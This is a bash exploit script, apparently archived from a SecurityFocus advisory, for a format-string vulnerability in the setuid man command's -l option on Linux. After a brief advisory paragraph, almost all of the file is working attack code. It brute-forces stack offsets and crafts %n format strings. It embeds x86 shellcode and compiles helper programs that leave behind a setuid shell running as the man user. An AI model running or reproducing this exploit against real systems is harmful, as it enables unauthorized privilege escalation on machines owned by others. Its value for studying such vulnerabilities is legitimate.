325 lines
No EOL
6.5 KiB
Bash
Executable file
325 lines
No EOL
6.5 KiB
Bash
Executable file
source: https://www.securityfocus.com/bid/2327/info
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man is the manual page viewing program, available with the Linux Operating System in this implementation. It is freely distributed and openly maintained.
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A problem with the man command may allow for the elevation of privileges. Due to the handling of format strings by the -l argument of the man command, it may be possible for a local user to pass format strings through the man command, which could allow a user to write to a specific address in the stack and overwrite variables, including the return address of functions on the stack. man, as implemented with some distributions of the Linux operating system, is included as an SUID root binary.
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It may be possible for a malicious user with local access to execute arbitrary code on the stack, and potentially gain elevated privileges, including administrative access.
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#!/bin/bash
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# CONFIGURATION:
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umask 000
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target="/usr/bin/man"
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tmpdir="/tmp/manexpl"
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rm -rf "$tmpdir"
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# address we want to write to (ret on the stack)
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# has to be an absolute address but we brute force
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# this scanning 64 addresses from writeadr on
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writeadr="0xbffff180"
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# address of the shell in our string
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# must point somewhere to our 'nop' region
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shadr="0xbffff720"
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# number of nops before shellcode
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declare -i nnops
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nnops=128
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# brute force how many times
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declare -i nbrute
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nbrute=512
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echo
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echo "-------------------------------------------"
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echo "| local man exploit |"
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echo "| by IhaQueR |"
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echo "| only for demonstrative purposes |"
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echo "-------------------------------------------"
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echo
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echo
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echo "configured for running $target"
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echo
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echo "RETADR = $writeadr"
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echo "SHELL = $shadr"
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echo "NOPS = $nnops"
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echo
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shellfake="SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
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nop="N"
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# prepare
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mkdir -p "$tmpdir"
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if ! test -d "$tmpdir" ; then
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echo "[-] creating working dir, exit"
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exit 1
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fi;
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echo "[+] created working dir"
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cd "$tmpdir"
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echo
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# number of nops before shellcode
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declare -i nnops
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nnops=128
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# make nop field
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declare -i idx
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idx=0
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nopcode=""
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head=""
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while test $idx -lt $nnops; do
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nopcode="${nop}$nopcode"
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idx=$(($idx+1))
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done;
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# sanity check :-)
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if ! test -x $target ; then
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echo "[-] $target not found or not executable, sorry"
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exit 1
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fi;
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echo "[+] found $target"
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echo
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# get uids
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muid=$(id -u man)
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ruid=$(id -u)
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if ! test $muid="" || ! test $ruid="" ; then
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echo "[-] error checking ids, sorry"
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exit 2;
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fi;
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printf "[+] uid=%d\t\tmid=%d" $ruid $muid
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echo
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declare -i cnt
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declare -i cntmax
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cnt=0
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# max gstring length*4
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cntmax=1024
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# make string used for offset search
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# like <head><addr><nops><shellcode>
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# PP stands for padding
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hstring="%0016d%x%0016d%d%0016d%d%0016d%dABCDEEEEFFFFGGGGHHHHIIIIJJJJKKKK${nopcode}${shellfake}"
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gstring=""
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# find offset
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echo " now searching for offset"
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echo
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declare -i npad
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declare -i ocnt
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ocnt=0
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while test $cnt -le $cntmax ; do
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if test $ocnt -eq 4 ; then
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ocnt=0
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echo
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fi;
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gstring="%16g$gstring"
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cnt=$(($cnt+1))
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npad=0
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padding=""
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printf "[%4d " $cnt
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while test $npad -lt 8 ; do
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echo -n " $npad"
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result=$($target -l "$gstring$hstring" -p "$padding" a 2>&1 | grep "44434241")
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if test "$result" != "" ; then
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break 2;
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fi;
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padding="P$padding"
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npad=$(($npad+1))
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done;
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echo -n " ] "
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ocnt=$(($ocnt+1))
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done
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echo "] "
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echo
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echo
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# found offset
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declare -i offset
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offset=$(($cnt * 4))
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if test $cnt -gt $cntmax ; then
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echo "[-] offset not found, please tune me :-)"
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exit 2
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fi;
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echo "[+] OFFSET found to be $offset/$cnt pad=$npad"
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# number of bytes written so far
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declare -i nwrt
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nwrt=$((16*${cnt}))
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echo " now constructing magic string nwrt=$nwrt"
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echo
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# we need unsigned arithmetics, simple c tool
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cat <<__ATOOL__> atool.c
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#include <stdio.h>
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int main(int argc, char** argv)
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{
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int i, flip;
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unsigned adr, shadr, nwrt, ruid, muid;
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unsigned char* p;
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unsigned addr[9];
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unsigned char head[33]="%0016d%x%0016d%x%0016d%x%0016d%x";
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unsigned char nop[1024];
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unsigned char buf[8192];
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// IhaQueR's special code (no trojan, believe me :-)
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char hellcode[]= "\x31\xc0\x31\xdb\x31\xc9"
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"\xb1\x01\xb7\x02\xb3\x03"
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"\xb0\x46\xcd\x80"
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"\x31\xc0\x31\xdb\x31\xc9"
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"\xb3\x01\xb5\x02\xb1\x03"
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"\xb0\x46\xcd\x80"
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"\x31\xc0\x31\xdb"
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"\xb3\x01\xb0\x17\xcd\x80"
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"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
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"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
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"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff./mkmsh";
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// correct hellcode for current ruid, muid
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ruid = $ruid;
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muid = $muid;
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hellcode[7] = muid & 0xff;
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hellcode[9] = (ruid >> 8 ) & 0xff;
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hellcode[11] = ruid & 0xff;
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hellcode[23]=hellcode[7];
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hellcode[25]=hellcode[9];
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hellcode[27]=hellcode[11];
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hellcode[37]=hellcode[7];
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adr = $writeadr;
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adr += atol(argv[1]);
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// address field
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for(i=0; i<4; i++) {
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addr[2*i] = adr + i;
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addr[2*i+1] = adr + i;
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}
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addr[8]=0;
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// head
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shadr = $shadr;
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nwrt = $nwrt + 0;
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p = (unsigned char*)&shadr;
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for(i=0; i<4; i++) {
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flip = (((int)256) + ((int)p[i])) - ((int)(nwrt % 256));
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nwrt = nwrt + flip;
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sprintf(head+i*8, "%%%04dx%%n", flip);
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}
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head[32] = 0;
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// nops
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for(i=0; i<$nnops; i++)
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nop[i] = 0x90;
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nop[i] = 0;
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sprintf(buf, "$target -l '%s%s%s%s%s' -p \"$padding\" a 2>&1", "$gstring", head, addr, nop, hellcode);
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system(buf);
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}
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__ATOOL__
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# helper apps
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rm -f atool
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gcc atool.c -o atool
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if ! test -x atool ; then
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echo "[-] compilation error, exiting"
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exit 3
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fi;
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echo "[+] compiled address tool"
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# mansh
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cat <<__MANSH__> mansh.c
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main(int argc, char** argv)
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{
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setreuid($muid, $ruid);
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execv("/bin/sh", argv);
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}
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__MANSH__
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rm -rf mansh
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rm -rf umansh
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gcc mansh.c -o umansh
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if ! test -x umansh ; then
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echo "[-] compilation error, exiting"
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exit 4
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fi;
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echo "[+] compiled mansh"
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# mkmsh
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cat <<__MKMSH__> mkmsh
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#!/bin/bash
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cp umansh mansh
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chmod u+s mansh
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__MKMSH__
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chmod a+x mkmsh
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if ! test -x mkmsh ; then
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echo "[-] compilation error, exiting"
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exit 5
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fi;
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echo "[+] mkmsh ready"
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# brute force
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echo " now brute force, wait..."
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echo
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idx=0
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ocnt=1
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umask 022
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while test $idx -lt $nbrute ; do
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result=$(atool "$(($idx*4))")
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if test -x mansh ; then
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echo
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echo
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echo "[+] SUCCESS"
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echo
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echo " suid man shell at $tmpdir/mansh"
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echo
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exit 6
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fi;
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printf "[%4d] " $idx
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if test $ocnt -eq 16 ; then
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ocnt=0;
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echo
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fi;
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idx=$(($idx+1))
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ocnt=$(($ocnt+1))
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done;
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# cleanup
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echo
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echo "[-] FAILED, tune writeadr, shadr, nnops, nbrute, etc."
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echo
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echo
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rm -rf "$tmpdir"
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--------------60A11DEE53A9281CA54089A7-- |